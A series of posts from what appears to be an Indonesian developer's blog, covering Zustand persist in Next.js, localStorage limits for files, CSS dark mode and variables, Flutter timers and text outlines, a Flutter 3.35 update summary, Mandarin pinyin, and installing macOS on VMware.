Haris Wahidin

Tidak Semua Bisa Kamu Simpan di localStorage, File[] Maksud Saya

2025-10-11T13:10:00Z

Pada artikel sebelumnya, Saya membahas bahwa Saya memerlukan state management library dengan penyimpanan localStorage.

Saya tahu bahwa perlu untuk menyimpan data yang telah di-input user ke localStorage agar user tidak perlu melakukan input lagi jika user melakukan refresh.

Lucunya Saya sadar memerlukannya saat melakukan cek setelah konfigurasi library.

Tipe data yang harus disimpan bermacam-macam, dari string, array, number, object, sampai File. Saya mengerti bahwa seharusnya ini bukan masalah.

Di TypeScript, tipe int, float dan sejenisnya disebut number

Setelah mengubah konfigurasi, Saya menyadari bahwa tipe data File[] tidak dapat disimpan di localStorage.

Maksud Saya secara teknis bisa.

Kita dapat melakukan for loop pada File[] untuk mengkonversi setiap File yang ada di dalamnya ke Base64. Termasuk mengambil setiap nama, tipe, untuk dapat dikonversi ulang.

Dan Base64 harus dikonversikan ke Blob dahulu sebelum bisa dikonversikan ke File.

Masalahnya adalah, File yang dikonversikan ke Base64 ukurannya dapat membesar sampai 33% karena proses encoding.

Maka jika Saya membuat kolom upload file di halaman dengan maksimal 10MB, ukurannya bisa menjadi 13.3MB.

Sedangkan web browser umumnya membatasi penyimpanan localStorage sekitar 5-10MB per-domain sebelum memunculkan QuotaExceededError jika melebihi.

Jadi yang akan Saya lakukan adalah menyimpan data yang di-input user kecuali yang bertipe File[], dan jika user melakukan refresh, user akan di-redirect ke halaman form, sebelum muncul error bahwa kolom Upload file tidak boleh kosong.

Sebagai penutup, berikut quotes dari Dan Levy:

When you are having trouble getting your thinking straight, consider an extreme or simple case.

Best Practice-nya Zustand Persist di Next.js Sesuai Dokumentasi

2025-10-11T11:30:00Z

Pada artikel sebelumnya, Saya membahas bagaimana Saya menggunakan Zustand untuk dapat mengelola data yang telah di-input user.

Dalam pengerjaan proyek, Saya menyadari perlu untuk menyimpan data di localStorage agar user tidak perlu melakukan input ulang jika user melakukan refresh.

Setelah mencari tahu, itu dapat diselesaikan dengan Zustand Persist.

Saya menggunakan Zustand sesuai yang didokumentasikan dengan anggapan bahwa itu best practice.

Lalu masalahnya muncul, yaitu cara yang Saya gunakan adalah cara yang berbeda untuk menggunakan Zustand Persist.

Jadi, berikut adalah cara untuk menggunakan Zustand Persist di Next.js dengan TypeScript sesuai dokumentasi.

Konfigurasi tsconfig.json

Berikut adalah konfigurasi file tsconfig.json yang berada di root folder:

{
  "compilerOptions": {
    "lib": ["dom", "dom.iterable", "esnext"],
    "allowJs": true,
    "skipLibCheck": true,
    "strict": true,
    "noEmit": true,
    "esModuleInterop": true,
    "module": "esnext",
    "moduleResolution": "bundler",
    "resolveJsonModule": true,
    "isolatedModules": true,
    "jsx": "preserve",
    "incremental": true,
    "plugins": [
      {
        "name": "next"
      }
    ],
    "paths": {
      "@/*": ["./src/*"]
    }
  },
  "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
  "exclude": ["node_modules"]
}

Instalasi Zustand

Jalankan command berikut di terminal:

npm install zustand

Konfigurasi Store

Buat file counter-store.ts yang berisi code berikut di folder src/app/_stores:

Perlu diingat bahwa folder yang berawalan underscore adalah private folder agar tidak terbaca sebagai route.

import { createStore } from 'zustand/vanilla';
import { persist, createJSONStorage } from 'zustand/middleware';

export type CounterState = {
  count: number;
};

export type CounterActions = {
  decrementCount: () => void;
  incrementCount: () => void;
};

export type CounterStore = CounterState & CounterActions;

export const initCounterStore = (): CounterState => {
  return { count: new Date().getFullYear() };
};

export const defaultInitState: CounterState = {
  count: 0,
};

export const createCounterStore = (
  initState: CounterState = defaultInitState
) => {
  return createStore<CounterStore>()(
    persist(
      (set) => ({
        ...initState,
        decrementCount: () => set((state) => ({ count: state.count - 1 })),
        incrementCount: () => set((state) => ({ count: state.count + 1 })),
      }),
      {
        name: 'counter-store',
        storage: createJSONStorage(() => localStorage),
        skipHydration: true,
      }
    )
  );
};

Konfigurasi Provider

Buat file counter-store-provider.tsx yang berisi code berikut di folder src/app/_providers:

'use client';

import { type ReactNode, createContext, useContext, useState } from 'react';
import { useStore } from 'zustand';
import { createCounterStore } from '@/app/_stores/counter-store';

type CounterBoundStore = ReturnType<typeof createCounterStore>;

export const CounterStoreContext = createContext<CounterBoundStore | null>(
  null
);

export interface CounterStoreProviderProps {
  children: ReactNode;
}

export const CounterStoreProvider = ({
  children,
}: CounterStoreProviderProps) => {
  const [counterStore] = useState(() => createCounterStore());

  return (
    <CounterStoreContext.Provider value={counterStore}>
      {children}
    </CounterStoreContext.Provider>
  );
};

// prettier-ignore
export const useCounterStore = <T,>(
  selector: (store: ReturnType<CounterBoundStore['getState']>) => T
): [T, CounterBoundStore] => {
  const counterStore = useContext(CounterStoreContext);

  if (!counterStore) {
    throw new Error(`useCounterStore must be use within CounterStoreProvider`);
  }

  return [useStore(counterStore, selector), counterStore];
};

Penggunaan Provider

Buat file layout.tsx yang berisi code berikut di folder route milikmu, misalnya src/app:

import { CounterStoreProvider } from './_providers/counter-store-provider';
...
export default function Layout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    ...
    <CounterStoreProvider>{children}</CounterStoreProvider>
    ...
  );
}

Konfigurasi Page

Terakhir gunakan variable yang tadi sudah dibuat di store, ke halaman. Contohnya src/app/page.tsx yang berisi code berikut:

'use client';

import { useLayoutEffect } from 'react';
import { useCounterStore } from '@/app/_providers/counter-store-provider';

export const HomePage = () => {
  const [{ count, incrementCount, decrementCount }, counterStore] =
    useCounterStore((state) => state);

  useLayoutEffect(() => {
    counterStore.persist?.rehydrate();
  }, []);

  return !counterStore.persist?.hasHydrated() ? (
    'Loading...'
  ) : (
    <div>
      Count: {count}
      <hr />
      <button type="button" onClick={() => void incrementCount()}>
        Increment Count
      </button>
      <button type="button" onClick={() => void decrementCount()}>
        Decrement Count
      </button>
    </div>
  );
};

Sekian untuk cara mengimplementasikan Zustand Persist berdasarkan kebutuhan saya saat menggunakan Zustand.

Kode di atas bersumber dari sini.

Setelah Lama Penasaran, Saya Mencoba Menggunakan Zustand

2025-10-11T10:00:00Z

Beberapa waktu ini Saya sedang menggunakan Next.js sebagai web framework dengan TypeScript sebagai bahasa pemrogramannya untuk mengerjakan proyek.

Pada sisi Front-end, Saya memerlukan state management library untuk mengelola data yang di-input oleh user.

Jika biasanya Saya menggunakan Redux untuk menyelesaikan segala kebutuhan ini, Saya ingin mencoba mempelajari cara penggunaan library yang lain.

Kesempatan dalam membutuhkan state management library di proyek baru Saya ini, membuat Saya memutuskan untuk mencoba menggunakan Zustand.

Untuk pertama kalinya, Saya menggunakan Zustand yang sudah membuat Saya penasaran pada saat pertama kali Saya mendengarnya karena simplicity-nya sekitar 18 bulan yang lalu.

Yang Saya butuhkan dari state management library adalah menyimpan data yang di-input oleh user untuk digunakan di halaman lain, baik yang harus disimpan dalam local storage dahulu agar data tetap dapat digunakan setelah user melakukan refresh maupun tidak.

Jika kebutuhannya hanya sebatas itu, dari yang Saya pelajari kemarin seharusnya dengan Zustand sudah cukup untuk terselesaikan.

Di lain artikel Saya akan membahas pengalaman Saya menggunakan Zustand, sebagai cara untuk mengkomunikasikan komitmen saya dalam menggeluti industri teknologi yang terus berkembang dengan pesat ini agar bisa relevan.

Belajar Bahasa Mandarin: Pelafalan Ejaan Pinyin

2025-10-04T17:15:00Z

Huruf Konsonan


b	p	m	f	d	t	n	l
g	k	h	j	q	x
z	c	s	zh	ch	sh	r

Pelafalan Huruf Konsonan

Nada yang tidak disertai hembusan nafas:


b	d	g	j	z	zh

Nada yang disertai hembusan nafas:


p	t	k	q	c	ch


Huruf	b	p	m	f
Lafal	p	ph
Contoh	pe	phe	me	fe
Huruf	d	t	n	l
Lafal	t	th
Contoh	te	the	ne	le
Huruf	g	k	h
Lafal	k	kh
Contoh	ke	khe


Huruf	j	q	x
Lafal	c	ch	s
Contoh	ce	che	se

Huruf q mengehembuskan lebih banyak angin daripada huruf j.


Huruf	z	c	s
Lafal	c	ch	s
Contoh	ce	che	se

Mulut tersenyum, bagian ujung lidah menempel di belakang gigi bawah.
Huruf c mengehembuskan lebih banyak angin daripada huruf z.


Huruf	zh	ch	sh	r
Lafal	c	ch	sh	r
Contoh	ce	che	she	re

Mulut monyong, bagian ujung lidah menggulung sedikit ke atas.
Dan, huruf ch mengehembuskan lebih banyak angin daripada huruf zh.

Huruf Vokal

Single Vokal


Huruf	a	o	e	i	u	ü
Baca						Mulut membentuk o dengan vokal i

Basic Vokal


ai	ei	ao	ou
an	en	er
ang	eng	ong

Vokal Lanjutan 1


ia	iao	ie
iu	ian	in
iang	ing	iong

ia	iao	ie
		ie"

iu	ian	in
i+ou	i+e"n

Vokal Lanjutan 2


ua	uo	uai
ui	uan
un	uang	ueng

ui	uan
u+e"i

un	uang	ueng
u+en

üe	üan	ün
	ü+e"n

Script Skenario yang Dibuat ChatGPT saat Saya Bosan

2025-10-03T18:13:00Z

Rasanya bosan di awal malam akhir weekday ini, biasanya Saya bakal habiskan beberapa jam untuk main game yang belum sempat saya tamatkan. Saya putuskan untuk menulis dan dibaca ulang besok.

Saat mencari bahasan yang menarik, Saya agak OCD sama isi kategori Game Development, yang cuma satu artikel, judulnya "Asyiknya Game Development 2D Menggunakan HTML" (judul bisa berubah menurut kemauan Saya haha). Artikel apa yang bisa Saya buat untuk menemani satu artikel ini pikir Saya.

Lalu terpikir kalau memang bikin game pakai HTML asyik, kenapa enggak bikin saja, tapi Saya hanya mau yang mudah saja. Visual Novel pikirku.

Entah proses apa yang mau diceritakan, Saya skip ke bagian yang paling sulitnya, yaitu asset gambarnya. Saat pencarian, dapat asset Naruto dari website penyedia spritesheet yang saat remaja dulu sering Saya kunjungi, inilah yang Saya suka.

Setelah pilih-pilih dan terkumpul asset gambarnya, barulah saatnya ChatGPT beraksi.

Saya minta 1000 percakapan untuk tiap karakter dengan masing-masing mimik, hasilnya bagus sekali.

Terus Saya minta lagi:

Suasana percakapan, untuk pilih background-nya
Lagu yang pas juga, harus official supaya bring back memories haha
Dibuatkan juga nama-nama scene-nya

Berjam-jam Saya enjoy nge-prompt. Singkat cerita Saya gagal dapet JSON file-nya, jadi sebentar saja Saya rapikan semua data tadi jadi skenario yang bentuknya JSON.

Kelar di jam 00.25 lalu Saya sempatkan untuk menulis blog ini karena dari awal memang tujuannya menulis padahal mata sudah sepet.

Bosan yang meneror berubah menjadi panggilan malam untuk tidur. Good night. See you.

Implementasi Light dan Dark Mode di Web itu Mudah

2025-10-02T15:40:00Z

Pendahuluan

Sudah umum kalau device terkini memiliki fitur light dan dark mode terpasang di operating system bawaan.

Masalah

Tapi terkadang fitur ini masih belum kita bisa temukan di website yang kita kunjungi disaat diperlukan.

Solusi

Tahukah kamu kalau pemasangan fitur light dan dark mode itu tidak mudah, berikut cara implementasinya.

Pilih satu di antara beberapa value yang tersedia berikut:

color-scheme: normal; // relatif terhadap OS
color-scheme: light; // hanya light mode
color-scheme: dark; // hanya dark mode
color-scheme: light dark; // wajib untuk menggunakan fungsi light-dark()
color-scheme: only light; // memaksa light mode terhadap setelan browser

Berikut cara implementasi lengkapnya:

:root {
  color-scheme: light dark;
}
@media (prefers-color-scheme: light) {
  .element {
    color: black;
    background-color: white;
  }
}
@media (prefers-color-scheme: dark) {
  .element {
    color: white;
    background-color: black;
  }
}

Sebagai alternatif agar kode lebih singkat, bisa menggunakan:

color: light-dark(black, white);
background-color: light-dark(white, black);

Cara alternatif adalah yang terbaru, yaitu tahun 2024 dibanding cara pertama yaitu di pertengahan 2019.

Namun menurut saya sedikit lebih menyusahkan untuk di-maintenance, karena kode warnanya bersebelahan jadi rawan untuk salah edit.

Kalian bisa cek compatibility css color-scheme di Can I Use.

Daftar Pustaka:

Implementasi Timer yang Bisa Pause dengan PausableTimer di Flutter

2025-10-02T00:58:00Z

Normalnya kita mengimplementasi Timer di Flutter sebagai berikut:

var counter = 3;
Timer.periodic(const Duration(seconds: 2), (timer) {
  print(timer.tick);
  counter--;
  if (counter == 0) {
    print('Cancel timer');
    timer.cancel();
  }
});

Timer tidak memiliki pause()

Bayangkan saat membuat stopwatch yang nilainya didapat dari mengubah Duration yang telah ditempuh Timer ke String, tentu memerlukan variable untuk menyimpannya.

Timer bawaan Flutter tidak bisa ditunda untuk dilanjutkan pada event selanjutnya.

PausableTimer

Solusinya adalah dengan menggunakan package PausableTimer.

PausableTimer memiliki beragam API yang lebih lengkap daripada Timer bawaan.

Method yang tersedia:

start(): Untuk menjalankan timer
pause(): Untuk menjeda timer
reset(): Untuk memulai ulang, perlu di-start() lagi agar timer jalan
cancel(): Untuk menghentikan, timer tidak bisa dijalankan lagi

Option tersedia yang juga berfungsi sesuai namanya:

duration <Duration>
elapsed <Duration>
tick <int>
isPaused <bool>
isActive <bool>
isExpired <bool>
isCancelled <bool>

Berikut adalah contoh implementasinya:

import 'dart:async';
import 'package:pausable_timer/pausable_timer.dart';

void main() async {
  // We make it "late" to be able to use the timer in the timer's callback.
  late final PausableTimer timer;
  var countDown = 5;

  print('Create a periodic timer that fires every 1 second and starts it');
  timer = PausableTimer.periodic(
    Duration(seconds: 1),
        () {
      countDown--;

      if (countDown == 0) {
        timer.pause();
      }

      print('\t$countDown');
    },
  )..start();

  print('And wait 2.1 seconds...');
  print('(0.1 extra to make sure there is no race between the timer and the '
      'waiting here)');
  await Future<void>.delayed(timer.duration * 2.1);
  print('By now 2 events should have fired: 4, 3\n');

  print('We can pause it now');
  timer.pause();

  print('And we wait for 2 more seconds...');
  await Future<void>.delayed(timer.duration * 2);
  print("But our timer doesn't care while it's paused\n");

  print('So we start it again');
  timer.start();
  print('And wait for 3.1 seconds more...');
  await Future<void>.delayed(timer.duration * 3.1);
  print('And we are done: 2, 1 and 0 should have been printed');

  print('The timer should be unpaused, inactive, expired and not cancelled');
  print('isPaused: ${timer.isPaused}');
  print('isActive: ${timer.isActive}');
  print('isExpired: ${timer.isExpired}');
  print('isCancelled: ${timer.isCancelled}');

  print('We can now reset it and start it again, now for 3 seconds');
  countDown = 3;
  timer
    ..reset()
    ..start();
  print('And wait for 3.1 seconds...');
  await Future<void>.delayed(timer.duration * 3.1);
  print('And it should be done printing: 2, 1 and 0');
}

Begitulah cara menggunakan timer yang dapat di-pause di Flutter.

Cara Mapping dengan Index di Dart

2025-10-01T04:49:00+07:00

Dari yang kita tahu, atau ada di antara kalian yang belum tahu, bahwa sampai saat ini Dart belum memiliki fungsi map yang memberikan index.

Pada saat ini kita menggunakan fungsi map untuk perulangan sebagai berikut:

.map((<T>item) => Item)

Hanya diberikan satu parameter, tanpa adanya parameter index.

Masalah akan muncul saat ingin menggunakan index dari fungsi map yang one-liner, misalnya digunakan dalam Widget Flutter.

Jadi selama menunggu tim open-source Dart untuk mengimplementasinya, saat ini solusinya untuk Flutter adalah memasang package mapIterable, yang kegunaannya sebagai berikut:

.mapIterable((int index, <T>item) => "$index. ${item.name}")

Barulah bisa mendapatkan dua parameter, yaitu parameter index dan item.

Saya Rangkum Update Flutter 3.35: Hot Reload di Web!

2025-09-30T10:37:00+07:00

Pendahuluan

Pada update Flutter 3.35 ini terdapat 1.108 commit dari 168 contributor, 39 diantaranya baru bergabung.

Web

Hot reload di web aktif secara default

Hot reload untuk development web sekarang sudah tersedia sebagai fitur experimental. Sebelumnya, aktifasi memerlukan flag --web-experimental-hot-reload saat debug. Untuk menonaktifkan, gunakan flag --no-web-experimental-hot-reload.

Wasm dengan dry run

Setiap JS yang dibuild kini memberlakukan "dry run", sebagai antisipasi penggunaan default WebAssembly (Wasm) untuk target build ke web. Fitur dapat disetel dengan flag --(no-)wasm-dry-run.

Framework

Peningkatan accessibility

Web semantic

Semantic locale sudah ditambahkan, kegunannya untuk menentukan bahasa yang digunakan untuk accessibility. (#171196)

Widget baru

Widget SemanticsLabelBuilder sudah ditambahkan, kegunaannya untuk menggabungkan beberapa string menjadi satu (#171683). Widget SliverEnsureSemantics sudah ditambahkan, kegunaannya untuk memastikan widget sliver yang di luar layar tetap berada di accessibility tree, membantu navigasi saat menggunakan screen reader (#166889).

Update widget dan platform

Untuk iOS, terdapat perbaikan pada scaling teks di CupertinoSliverNavigationBar (#168866), dan aktivasi tab di VoiceOver (#170076).
Untuk Android, TalkBack kini berfungsi untuk komponen native yang di-embed dengan platform views (#168939).
Properti semantic untuk CustomPainter diperbarui agar UI lebih dapat dikustomisasi (#168113).
Toolbar saat seleksi teks pada bahasa yang berformat RTL sudah disejajarkan (#169854).

Material dan Cupertino

Komponen baru dan yang di-update

DropdownMenuFormField sudah ditambahkan, sebagai pengganti dari penggunaan DropdownMenu di form (#163721).
NavigationRail sekarang bisa scrollable (#169421).
NavigationDrawer sekarang memiliki header dan footer (#168005).
CupertinoExpansionTile sudah ditambahkan (#165606).

Fidelity dan interaktifitas

Bentuk beberapa widget Cupertino kini sudah diperbarui mengikuti RSuperellipse (#167784).
Haptic feedback sudah ditambahkan ke komponen interaktif penting seperti CupertinoPicker (#170641) dan CupertinoSlider (#167362).
Indikator value Slider sekarang bisa disetel agar selalu terlihat (#162223).

Lainnya dari framework

Sliver

Sekarang dapat secara eksplisit mengontrol paint order (z-order) di sliver (#164818).

Navigasi dan form

Properti fullscreenDialog (#167794) ditambahkan ke ModalRoute (beserta semua turunannya) dan showDialog, kegunaannya untuk kustomisasi navigasi ke dan dari route dialog.
FormField sekarang memiliki callback onReset (#167060).

Input dan seleksi teks

Handling gesture kini digeneralisir dengan interface baru, yaitu PositionedGestureDetails (#160714).
Field teks sebaris sudah tidak lagi srollable, menjadi selaras dengan iOS native (#162841).

Penambahan tombol shortcut Home dan End di Android (#168184)

Tombol	Fungsi
`Home`/`End`	Memindahkan cursor to ke awal/akhir baris.
`Home`/`End` + `Shift`	Melebarkan seleksi ke awal/akhir baris.
`Home`/`End` + `Ctrl`	Memindahkan cursor to ke awal/akhir field.
`Home`/`End` + `Shift` + `Ctrl`	Melebarkan seleksi ke awal/akhir field.

Android

Proteksi konten sensitif

Di Android 15, API 35, widget SensitiveContent sudah ditambahkan, kegunaannya untuk mem-blur seluruh layar saat screen share.

Engine

General update di engine

iOS

Opsi Live Text (OCR) pada field teks diadakan kembali.

Android

Template project baru sekarang menggunakan Android 24.

DevTools dan IDE

Server MCP Dart dan Flutter experimental tersedia di channel stable

AI coding assistant

Server MCP Dart dan Flutter bertindak sebagai bridge, menjadikan AI coding assistant dapat mengakses ke lebih banyak konteks pada project melalui toolchain Dart dan Flutter. AI coding assistant kini dapat memahami project secara mendalam dan mengambil tindakan seperti:

Fix runtime error: Melakukan inspect pada widget tree yang sedang berlangsung, mengidentifikasi RenderFlex yang overflow, dan menerapkan fix secara otomatis.
Mengelola dependency: Menemukan package di pub.dev untuk task tertentu, menambahkannya ke pubspec.yaml, dan menjalankan pub get.
Menulis dan memperbaiki kode: Membuat boilerplate fitur baru, lalu memperbaiki sendiri error analisis yang muncul.

Widget Previews memungkinkan untuk melakukan visualisasi dan testing widget pada environment sandbox. Misalnya saat membuat design system atau saat testing komponen dengan konfigurasi berbeda, seperti ukuran layar, theme, dan scaling teks. Ini dilakukan secara sekaligus dan berdampingan.

Analysis Server

Beberapa command dari dart command-line tool yang menggunakan analysis server seperti dart analyze, dart fix, dan dart language-server, sekarang menjalankan snapshot analysis server yang AOT-compiled.

Breaking changes dan deprecation

AppBarTheme, BottomAppBarTheme, dan InputDecorationTheme sudah di-refactor ke ThemeData agar lebih konsisten dengan Material 3.
Widget Radio, CupertinoRadio, dan RadioListTile sudah di-redesign untuk menambah accessibility. Properti groupValue dan onChanged sudah deprecated dan diganti dengan widget RadioGroup untuk mengelola state dari sekumpulan radio button.
Widget Form tidak lagi dapat digunakan sebagai sliver, form harus dibungkus dengan SliverToBoxAdapter untuk digunakan di dalam CustomScrollView.
Parameter value di DropdownButtonFormField sekarang deprecated, diganti menjadi initialValue.

Deprecated Android ber-architecture 32-bit x86

Deprecated dukungan IDE untuk SDK Flutter sebelum 3.13

SDK Android minimum

API 24 (Android 7) adalah minimum untuk flutter.minSdkVersion. Dan berikut adalah minimum dependency Android:

Gradle version: 8.7.0
Android Gradle Plugin (AGP): 8.6.0
Java: 17

Cara Membuat Text Border/Outline di Flutter yang Simpel

2024-09-18T17:00:00Z

Artikel ini berdasarkan kesulitan saya dengan flutter saat ingin membuat widget text yang memiliki outline, saat itu saya butuh untuk memperjelas teks agar tidak samar dengan gradasi background dan background yang transparan.

Penggunaan teks dengan outline umum digunakan bukan hanya untuk aplikasi, tapi lebih sering kita jumpai pada user interface game ponsel dengan background atau tombol yang dibuat interaktif.

Berikut adalah kode lengkapnya untuk menggunakannya sebagai reusable widget.

import 'package:flutter/material.dart';

Widget textOutline(text,
    {double fontSize = 16,
    Color color = Colors.white,
    Color outlineColor = Colors.black,
    double outlineWidth = 2}) {
  return Stack(
    children: [
      Text(
        text,
        style: TextStyle(
          fontSize: fontSize,
          foreground: Paint()
            ..style = PaintingStyle.stroke
            ..strokeWidth = outlineWidth
            ..color = outlineColor,
        ),
      ),
      Text(
        text,
        style: TextStyle(
          fontSize: fontSize,
          color: color,
        ),
      ),
    ],
  );
}

Teknik yang digunakan adalah dengan menimpa teks yang disetel hanya memiliki border dengan teks biasa, lalu menjadikannya sebagai reusable widget dengan peletakan parameter yang dibuat mirip dengan widget Text(). Bagusnya jika ingin menambah parameter usahakan penempatan sesuai dengan widget Text() untuk menjaga kemudahan yang konsisten.

3 Kelebihan dan Kekurangan Menggunakan CSS Variable

2024-09-17T17:00:00Z

TL;DR

Walaupun umum digunakan oleh template-template front-end di internet dan website bisnis skala besar, penggunaan variable masih jarang diterapkan pada pengembangan website dari scratch. Ini dikarenakan proses perencanaan pengembangan memiliki lebih banyak waktu sehingga dapat menimbang kelebihan penggunaan variable.

Kelebihan

Semakin banyak kode, semakin terstruktur

Karena variable digunakan sebagai parameter yang dibuat atas hasil konversi dari desain, semakin banyak kode yang dikonversi maka semakin banyak parameter yang digunakan.

Mengemat waktu development

Bayangkan untuk konversi desain komponen yang sama dalam kasus penggunaan yang berbeda, misal membuat sebuah button berisi icon lalu membuat lagi sebuah button berisi icon yang menyatu dengan inputan, satu-satunya yang membedakan adalah background-color dan border-radius, penggunaan variable di sini untuk mencegah konversi desain untuk property yang sudah pernah

Redesign bukan lagi masalah

Tanpa menggunakan variable, mengubah warna beberapa komponen dilakukan dengan fitur Find & Replace untuk mencari kode hex yang disalin dari DevTools, harus teliti untuk tidak salah mengganti warna. Lalu bagaimana jika redesign? Mengubah banyak property milik banyak komponen tentu masalah jika tidak menerapkan variable.

Kekurangan

Penamaan variable perlu waktu

Memberi nama variable adalah hal yang sangat-sangat simpel tapi bukanlah hal yang mudah, tidak meluangkan cukup waktu untuk menamakan variable pertama menjadikan nama variable selanjutnya tidak konsisten yang berakibat variable tidak digunakan karena sulit dimengerti. Maka luangkan waktu untuk menentukan urutan-urutan nama variable, misal berdasarkan warna, state atau jenis elemen terlebih dahulu, juga pelajari penamaan dengan metodologi BEM jika perlu.

Value menjadi lebih panjang

Panjang kode value tentu menentukan berapa lama untuk membaca property, misal membaca padding: 2px 6px 4px 8px; tentu lebih sebentar dibanding membaca padding: var(--button-promo-padding-top) var(--button-promo-padding-right) var(--button-promo-padding-bottom) var(--button-promo-padding-left);. Ini adalah konsekuensi terbesar menggunakan variable, namun value yang lebih panjang dapat lebih sebentar untuk dimengerti jika value lebih deskriptif, misal height: calc(100dvh – 72px + 16px + 2px); dibanding height: calc(100dvh – (var(--topbar-height) + var(--topbar-margin-bottom) + var(--topbar-border-y)));, lebih lama baca namun lebih sebentar untuk mengerti.

Memakan waktu maintenance

Singkatnya, ini adalah kebalikan dari kelebihan di poin ketiga yang permasalahannya adalah waktu terutama saat ada perubahan desain skala besar. Perubahan tidak selalu pada value, misal pada penambahan property yang artinya menambah waktu untuk membuat variable baru, apalgi jika ternyata penggunaan variable tidak dibutuhkan. Hanya mungkin diatasi dengan ketelitian dan seiring waktu pengembangan.

Cara Instal macOS Catalina di Windows dengan VMware

2024-09-16T17:00:00Z

Prasyarat

Windows 10/11
VMware Workstation Pro/Player 15
VMware Tools untuk macOS Guest
macOS .vmdk (Virtual Machine Disk)

Persyaratan

VMware macOS Unlocker

Instalasi macOS Unlocker

Unduh rilis mutakhir repo unlocker dengan klik Latest di bagian Releases, lalu unduh file .zip di bagian assets, pastikan membukanya lewat desktop
Pastikan VMware tidak sedang berjalan
Ekstrak file .zip-nya, buka foldernya dan jalankan win-install.cmd sebagai administrator

Buat Virtual Machine

Buka VMware, klik Create a New Virtual Machine
Pilih Typical (recommended), klik Next
Pilih I will install the operating system later, klik Next
Pilih Apple Mac OS X, lalu pilih versi macOS yang akan diinstal, misal 10.15 untuk Catalina, klik Next
Sunting atau biarkan nama virtual machine, dan pilih lokasi VM, misal C:\Virtual Machines\Catalina 10.15
Biarkan atau beri nilai 70GB pada Maximum disk size jika ingin langsung upgrade ke Big Sur, lalu pilih Store virtual disk as a single file, klik Next, lalu klik Finish, klik Keep Existing Format

Edit Virtual Machine

Di VM yang sudah dibuat, lik Edit virtual machine settings
Sesuaikan nilai Memory dengan RAM yang tersedia dari host, misal 4GB
Sesuaikan nilai Processors dengan CPU core milik host
Tambah disk instalasi macOS dengan klik Add, pilih Hard Disk, klik Next, pilih SATA, klik Next, pilih Use an existing virtual disk, klik Next, pilih file .vmdk (yang sudah dibuat di artikel sebelumnya)

Instalasi macOS

Pada VM, nyalakan dengan klik Power on this virtual machine
VM akan dijalankan dan instalasi macOS akan dimuat
Jika instalasi sudah siap, pilih Bahasa, lalu klik tanda panah
Pada macOS Utilities, pilih Disk Utility, pilih VMware Virtual SATA, klik Erase
Pada popup Erase, beri nama disk, misal Hard Drive, pilih Format macOS Extended, pilih Scheme GUID Partition Map, lalu klik Erase
Pada macOS Utilities, pilih Reinstall macOS, klik Continue, klik Agree pada TOS untuk lanjut, pilih disk yang sudah diberi nama tadi, lalu klik Install maka instalasi macOS akan berjalan
Jika instalasi sudah selesai, pilih Negara, setel Wi-Fi, pada Privacy klik Continue untuk lanjut, pilih Don’t transfer any information now lalu klik Continue, pada Apple ID klik Set Up Later lalu klik Skip, pada TOS klik Agree untuk lanjut, pada Computer Account isi nama dan password, pada Improve Siri pilih Not Now, instalasi macOS akan berlanjut Jika sudah memuat desktop, tutup VM, lalu edit VM, klik Hard Disk (yang kita tambah sebagai disk instalasi), klik Remove, klik OK

Instalasi VMware Tools

Nyalakan VM, jika sudah memuat desktop, klik VM di Menubar VM, klik Install VMware Tools
Pada jendela VMware tools, klik Continue, klik Install, klik Continue Installation lalu masukkan password akun
Pada popup Privacy klik icon gembok, klik Allow, lalu tutup jendela
Jika instalasi sudah selesai, klik Restart

Masalah

This virtual machine requires AVX2 but AVX is not present. This virtual machine cannot be powered on

Buka folder VM, misal C:\Virtual Machines\Catalina 10.15
Buka satu-satunya file .vmx menggunakan Notepad
Beri nilai 10 pada virtualHW.version, misal virtualHW.version = "10"
Masukkan kode berikut ke baris paling bawah

smc.version = "0"
cpuid.0.eax = "0000:0000:0000:0000:0000:0000:0000:1011"
cpuid.0.ebx = "0111:0101:0110:1110:0110:0101:0100:0111"
cpuid.0.ecx = "0110:1100:0110:0101:0111:0100:0110:1110"
cpuid.0.edx = "0100:1001:0110:0101:0110:1110:0110:1001"
cpuid.1.eax = "0000:0000:0000:0001:0000:0110:0111:0001"
cpuid.1.ebx = "0000:0010:0000:0001:0000:1000:0000:0000"
cpuid.1.ecx = "1000:0010:1001:1000:0010:0010:0000:0011"
cpuid.1.edx = "0000:0111:1000:1011:1111:1011:1111:1111"
smbios.reflectHost = "TRUE"
hw.model = "MacBookPro14,3"
board-id = "Mac-551B86E5744E2388"

Mouse dan/atau keyboard tidak terhubung saat instalasi

Tutup VM dengan cara klik kanan pada tab VM, klik Power, klik Shut Down Guest, klik Shut Down
Pada VM, klik Edit virtual machine settings, Buka USB controller, pada USB compatibility, pilih USB 2.0

Rekapan Tulisan Saya Selama Pekan Ini, 9-15 Sep 24

2024-09-15T17:00:00Z

Senin, 9 September 2024

Dilema Saya Dalam Menentukan Platform Blog Untuk Menulis Aplikasi WYSIWYG Email Harus Dibuat Versi Android-nya 5 Trik CSS Agar Tampilan Front-end Mirip Dengan Desain Mockup Awal pekan ini saya menulis 3 artikel sekaligus karena harus melengkapi 2 artikel yang harusnya diterbitkan hari sabtu dan minggu di pekan sebelumnya. Tidak ada devlog di tanggal ini.

Rabu, 11 September 2024

Membandingkan 3 Font Yang Mudah Dibaca Untuk Koding Membuat Komponen Input Yang Fleksibel Untuk Desain Apapun Di hari Rabu saya membuat 2 artikel untuk melengkapi artikel hari Selasa dan menambah progress templating pada halaman list blog dan detail blog.

Kamis, 12 September 2024

Google Material Color Dan Icons 2014 Masih Solusi Cepat Mendesain Saya membuat 1 artikel dan tidak ada devlog pada tanggal ini.

Jumat, 13 September 2024

Alasan Saya Harus Aktif Berkontribusi di Repositori GitHub Saya membuat artikel pada tengah malam yang membuat tanggal publikasi menjadi tanggal 14, tidak ada devlog di tanggal ini, saya juga sambil melakukan instalasi macOS pada VMware.

Minggu, 15 September 2024

Belajar Android Hacking dengan Metasploit Di Tahun 2024 Saya membuat 2 artikel termasuk artikel rekap ini di tengah malam sehingga publikasi menjadi tanggal 16, tidak ada devlog pada tanggal ini.

Membuat File .VMDK Sendiri untuk Instalasi macOS di VMware

2024-09-15T17:00:00Z

Prasyarat

Windows 10/11

Persyaratan

Instalasi gibMacOS

Unduh repo gibMacOS dengan klik tombol Code > Download ZIP di GitHub, pastikan membukanya lewat desktop
Ekstrak file gibMacOS-master.zip, buka foldernya dan jalankan gibMacOS.bat
Jika muncul tampilan Python Not Found, jalankan perintah y untuk melakukan instalasi Python 3
Simak urutan list Available Products

